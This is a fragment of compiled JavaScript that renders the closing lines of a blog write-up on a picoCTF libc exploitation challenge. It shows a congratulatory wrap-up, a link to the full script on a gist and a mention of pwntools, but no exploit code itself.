"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"49464"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:")"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# ..."})})]})})}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591658/ari-io/writing/heres-a-libc/remotely-working_x4bec0.png",alt:"Working remotely"})}),` `,(0,l.jsx)(e.p,{children:"Now we've captured the flag!"}),` `,(0,l.jsxs)(e.h3,{id:"wrap-up",children:[(0,l.jsx)(e.a,{className:"anchor",href:"#wrap-up",children:(0,l.jsx)(e.span,{className:"icon icon-link"})}),"Wrap-up"]}),` `,(0,l.jsxs)(e.p,{children:["Congrats! We've literally walked through a picoCTF capture the flag system. If you're interested in the full script, check out the full code at the gist: ",(0,l.jsx)(e.a,{href:"https://gist.github.com/auser/a31e7e2afc49be99a2485d4ad5f2281a",children:"here"})]}),` `,(0,l.jsxs)(e.p,{children:["Next up, we'll solve this using some automated tricks that will just be a bunch easier for us using the power of ",(0,l.jsx)(e.code,{children:"pwntools"}),"!"]})]})}function b(n={}){let{wrapper:e}=n.components||{};return e?(0,l.jsx)(e,Object.assign({},n,{children:(0,l.jsx)(d,n)})):d(n)}var w=b;return F(C);})(); ;return Component;